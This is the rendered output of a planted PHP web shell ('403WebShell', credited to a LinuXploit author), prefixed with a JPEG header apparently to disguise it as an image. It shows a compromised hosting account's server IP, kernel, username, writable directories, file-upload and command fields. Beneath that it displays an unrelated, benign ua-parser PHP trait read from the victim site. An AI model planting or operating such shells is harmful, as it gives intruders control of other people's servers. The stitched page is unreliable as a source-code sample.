����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.15.158.134
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirmacademy.com/vendor/ua-parser/uap-php/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirmacademy.com/vendor/ua-parser/uap-php/src/ParserFactoryMethods.php
<?php
/**
 * ua-parser
 *
 * Copyright (c) 2011-2013 Dave Olsen, http://dmolsen.com
 * Copyright (c) 2013-2014 Lars Strojny, http://usrportage.de
 *
 * Released under the MIT license
 */
namespace UAParser;

use UAParser\Exception\FileNotFoundException;
use function dirname;
use const DIRECTORY_SEPARATOR;

trait ParserFactoryMethods
{
    /** @var string */
    public static $defaultFile;

    /**
     * Create parser instance
     *
     * Either pass a custom regexes.php file or leave the argument empty and use the default file.
     * @throws FileNotFoundException
     */
    public static function create(?string $file = null): self
    {
        return $file ? self::createCustom($file) : self::createDefault();
    }

    /** @throws FileNotFoundException */
    protected static function createDefault(): self
    {
        return self::createInstance(
            self::getDefaultFile(),
            [FileNotFoundException::class, 'defaultFileNotFound']
        );
    }

    /** @throws FileNotFoundException */
    protected static function createCustom(string $file): self
    {
        return self::createInstance(
            $file,
            [FileNotFoundException::class, 'customRegexFileNotFound']
        );
    }

    private static function createInstance(string $file, callable $exceptionFactory): self
    {
        if (!file_exists($file)) {
            throw $exceptionFactory($file);
        }

        static $map = [];
        if (!isset($map[$file])) {
            $map[$file] = include $file;
        }

        return new self($map[$file]);
    }

    protected static function getDefaultFile(): string
    {
        return self::$defaultFile ?: dirname(__DIR__).'/resources'.DIRECTORY_SEPARATOR.'regexes.php';
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit